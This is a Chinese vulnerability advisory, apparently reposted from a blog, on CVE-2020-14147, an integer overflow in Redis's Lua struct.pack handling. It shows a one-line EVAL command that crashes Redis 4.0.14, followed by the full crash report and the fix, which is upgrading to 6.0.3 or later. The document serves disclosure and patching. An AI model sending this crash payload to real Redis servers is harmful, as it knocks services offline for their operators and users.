
描述:
Redis Labs Redis 6.0.3之前版本存在拒绝服务漏洞。该漏洞源于lua_struct.c中的“getnum”函数中的整数溢出。远程攻击者可利用该漏洞通过发送大量的特制命令导致堆栈缓冲区溢出,从而造成拒绝服务。
触发条件:
在redis中,通过eval、evalsha命令调用执行lua脚本时,在脚本中使用struct.pack函数,传入格式串参数(函数第一个参数)超出C语言整型范围(INT_MAX=2147483647),会触发BUG,导致redis进程退出并报错:Connection refused。
受影响系统:
Redis Labs Redis < 6.0.3
重现过程:
redis测试版本:4.0.14[redis@cjcos02 conf]$ redis-cli
输入I30,正常返回
127.0.0.1:6379> EVAL "struct.pack('>I30','10')" 0(nil)
输入I2147483648,超过临界值-2147483648 ~ 2147483647,触发BUG,导致redis退出。
127.0.0.1:6379> EVAL "struct.pack('>I2147483648','10')" 0Could not connect to Redis at 127.0.0.1:6379: Connection refused
查看对应告警日志
=== REDIS BUG REPORT START: Cut & paste starting from here ===11806:M 28 Nov 10:39:41.803 # Redis 4.0.14 crashed by signal: 711806:M 28 Nov 10:39:41.803 # Crashed running the instruction at: 0x4b669611806:M 28 Nov 10:39:41.803 # Accessing address: (nil)11806:M 28 Nov 10:39:41.803 # Failed assertion: <no assertion failed> (<no file>:0)------ STACK TRACE ------EIP:redis-server 127.0.0.1:6379[0x4b6696]Redis漏洞:CVE-2020-14147Backtrace:redis-server 127.0.0.1:6379(logStackTrace+0x29)[0x468a29]redis-server 127.0.0.1:6379(sigsegvHandler+0xac)[0x4690cc]/lib64/libpthread.so.0(+0xf680)[0x7ffff76c8680]redis-server 127.0.0.1:6379[0x4b6696]redis-server 127.0.0.1:6379[0x4a3e44]redis-server 127.0.0.1:6379[0x4acc47]redis-server 127.0.0.1:6379[0x4a429d]redis-server 127.0.0.1:6379[0x4a3608]redis-server 127.0.0.1:6379[0x4a440a]redis-server 127.0.0.1:6379(lua_pcall+0x4b)[0x4a1cdb]redis-server 127.0.0.1:6379(evalGenericCommand+0x481)[0x476ec1]redis-server 127.0.0.1:6379(call+0x9e)[0x42c06e]redis-server 127.0.0.1:6379(processCommand+0x3c7)[0x42c777]redis-server 127.0.0.1:6379(processInputBuffer+0x105)[0x43b8b5]redis-server 127.0.0.1:6379(aeProcessEvents+0x2a0)[0x426790]redis-server 127.0.0.1:6379(aeMain+0x2b)[0x426a5b]redis-server 127.0.0.1:6379(main+0x49f)[0x42385f]/lib64/libc.so.6(__libc_start_main+0xf5)[0x7ffff730e3d5]redis-server 127.0.0.1:6379[0x423b52]------ INFO OUTPUT ------# Serverredis_version:4.0.14redis_git_sha1:00000000redis_git_dirty:0redis_build_id:38f5ac5d45de0ed2redis_mode:standaloneos:Linux 4.1.12-112.16.4.el7uek.x86_64 x86_64arch_bits:64multiplexing_api:epollatomicvar_api:atomic-builtingcc_version:4.8.5process_id:11806run_id:91aa8adfbed4cd333d456594638c5b2742d59238tcp_port:6379uptime_in_seconds:207uptime_in_days:0hz:10lru_clock:8658797executable:/redis/conf/redis-serverconfig_file:/redis/conf/redis.conf# Clientsconnected_clients:1client_longest_output_list:0client_biggest_input_buf:0blocked_clients:0# Memoryused_memory:571376used_memory_human:557.98Kused_memory_rss:9486336used_memory_rss_human:9.05Mused_memory_peak:571376used_memory_peak_human:557.98Kused_memory_peak_perc:100.08%used_memory_overhead:557710used_memory_startup:508072used_memory_dataset:13666used_memory_dataset_perc:21.59%total_system_memory:2883067904total_system_memory_human:2.69Gused_memory_lua:39936used_memory_lua_human:39.00Kmaxmemory:0maxmemory_human:0Bmaxmemory_policy:noevictionmem_fragmentation_ratio:16.60mem_allocator:jemalloc-4.0.3active_defrag_running:0lazyfree_pending_objects:0# Persistenceloading:0rdb_changes_since_last_save:0rdb_bgsave_in_progress:0rdb_last_save_time:1669602974rdb_last_bgsave_status:okrdb_last_bgsave_time_sec:-1rdb_current_bgsave_time_sec:-1rdb_last_cow_size:0aof_enabled:0aof_rewrite_in_progress:0aof_rewrite_scheduled:0aof_last_rewrite_time_sec:-1aof_current_rewrite_time_sec:-1aof_last_bgrewrite_status:okaof_last_write_status:okaof_last_cow_size:0# Statstotal_connections_received:1total_commands_processed:5instantaneous_ops_per_sec:0total_net_input_bytes:250total_net_output_bytes:13399instantaneous_input_kbps:0.00instantaneous_output_kbps:0.00rejected_connections:0sync_full:0sync_partial_ok:0sync_partial_err:0expired_keys:0expired_stale_perc:0.00expired_time_cap_reached_count:0evicted_keys:0keyspace_hits:0keyspace_misses:0pubsub_channels:0pubsub_patterns:0latest_fork_usec:0migrate_cached_sockets:0slave_expires_tracked_keys:0active_defrag_hits:0active_defrag_misses:0active_defrag_key_hits:0active_defrag_key_misses:0# Replicationrole:masterconnected_slaves:0master_replid:2c16e3a046e16b58c032b30d62338fcd69b283b7master_replid2:0000000000000000000000000000000000000000master_repl_offset:0second_repl_offset:-1repl_backlog_active:0repl_backlog_size:1048576repl_backlog_first_byte_offset:0repl_backlog_histlen:0# CPUused_cpu_sys:0.20used_cpu_user:0.12used_cpu_sys_children:0.00used_cpu_user_children:0.00# Commandstatscmdstat_info:calls=1,usec=159,usec_per_call=159.00cmdstat_eval:calls=3,usec=317,usec_per_call=105.67cmdstat_command:calls=1,usec=719,usec_per_call=719.00# Clustercluster_enabled:0# Keyspace------ CLIENT LIST OUTPUT ------id=3 addr=127.0.0.1:27896 fd=7 name= age=195 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=0 qbuf-free=32768 obl=0 oll=0 omem=0 events=r cmd=eval------ CURRENT CLIENT INFO ------id=3 addr=127.0.0.1:27896 fd=7 name= age=195 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=0 qbuf-free=32768 obl=0 oll=0 omem=0 events=r cmd=evalargv[0]: 'EVAL'argv[1]: 'struct.pack('>I2147483648','10')'argv[2]: '0'------ REGISTERS ------11806:M 28 Nov 10:39:41.806 #RAX:000000000000000a RBX:00007fffffffdf28RCX:000000007fffffff RDX:000000007ffffffeRDI:00007fffffffba00 RSI:000fffff00000000RBP:ffffffff80000000 RSP:00007fffffffbec0R8 :0000000000000000 R9 :0000000000000000R10:000000000075f7c0 R11:0000000000000031R12:0000000000000000 R13:0000000080000000R14:0000000000000003 R15:0000000000000000RIP:00000000004b6696 EFL:0000000000010202CSGSFS:000000000000003311806:M 28 Nov 10:39:41.806 # (00007fffffffbecf) -> 000000000000000011806:M 28 Nov 10:39:41.806 # (00007fffffffbece) -> 000000000000000011806:M 28 Nov 10:39:41.807 # (00007fffffffbecd) -> 000000000000000011806:M 28 Nov 10:39:41.807 # (00007fffffffbecc) -> 000000000075f52011806:M 28 Nov 10:39:41.807 # (00007fffffffbecb) -> 000000000000000011806:M 28 Nov 10:39:41.808 # (00007fffffffbeca) -> 00007fffffffbf2811806:M 28 Nov 10:39:41.808 # (00007fffffffbec9) -> 000000000000000011806:M 28 Nov 10:39:41.809 # (00007fffffffbec8) -> 000000000000000011806:M 28 Nov 10:39:41.809 # (00007fffffffbec7) -> 00007fff0000000a11806:M 28 Nov 10:39:41.809 # (00007fffffffbec6) -> 000000000000000711806:M 28 Nov 10:39:41.810 # (00007fffffffbec5) -> 00000000007607f411806:M 28 Nov 10:39:41.810 # (00007fffffffbec4) -> 000000010000000011806:M 28 Nov 10:39:41.810 # (00007fffffffbec3) -> 00007fffffffbef111806:M 28 Nov 10:39:41.810 # (00007fffffffbec2) -> 000000010000000211806:M 28 Nov 10:39:41.811 # (00007fffffffbec1) -> 00007ffff76b306011806:M 28 Nov 10:39:41.811 # (00007fffffffbec0) -> 000000000075f520------ FAST MEMORY TEST ------11806:M 28 Nov 10:39:41.812 # Bio thread for job type #0 terminated11806:M 28 Nov 10:39:41.812 # Bio thread for job type #1 terminated11806:M 28 Nov 10:39:41.812 # Bio thread for job type #2 terminated*** Preparing to test memory region 745000 (233472 bytes)*** Preparing to test memory region 7fffeeffe000 (8388608 bytes)*** Preparing to test memory region 7fffef7ff000 (8388608 bytes)*** Preparing to test memory region 7ffff0000000 (8388608 bytes)*** Preparing to test memory region 7ffff0800000 (2097152 bytes)*** Preparing to test memory region 7ffff7000000 (2097152 bytes)*** Preparing to test memory region 7ffff76b4000 (20480 bytes)*** Preparing to test memory region 7ffff78d1000 (16384 bytes)*** Preparing to test memory region 7ffff7fd2000 (16384 bytes)*** Preparing to test memory region 7ffff7ff5000 (4096 bytes)*** Preparing to test memory region 7ffff7ff6000 (4096 bytes)*** Preparing to test memory region 7ffff7ffe000 (4096 bytes).O.O.O.O.O.O.O.O.O.O.O.OFast memory test PASSED, however your memory can still be broken. Please run a memory test for several hours if possible.------ DUMPING CODE AROUND EIP ------Symbol: (null) (base: (nil))Module: redis-server 127.0.0.1:6379 (base 0x400000)$ xxd -r -p tmp/dump.hex tmp/dump.bin$ objdump --adjust-vma=(nil) -D -b binary -m i386:x86-64 tmp/dump.bin------=== REDIS BUG REPORT END. Make sure to include from START to END. ===Please report the crash by opening an issue on github:http://github.com/antirez/redis/issuesSuspect RAM error? Use redis-server --test-memory to verify it.
解决方案:
升级redis到6.0.3以上版本,如果不使用lua脚本,可忽略。

文章转载自IT小Chen,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




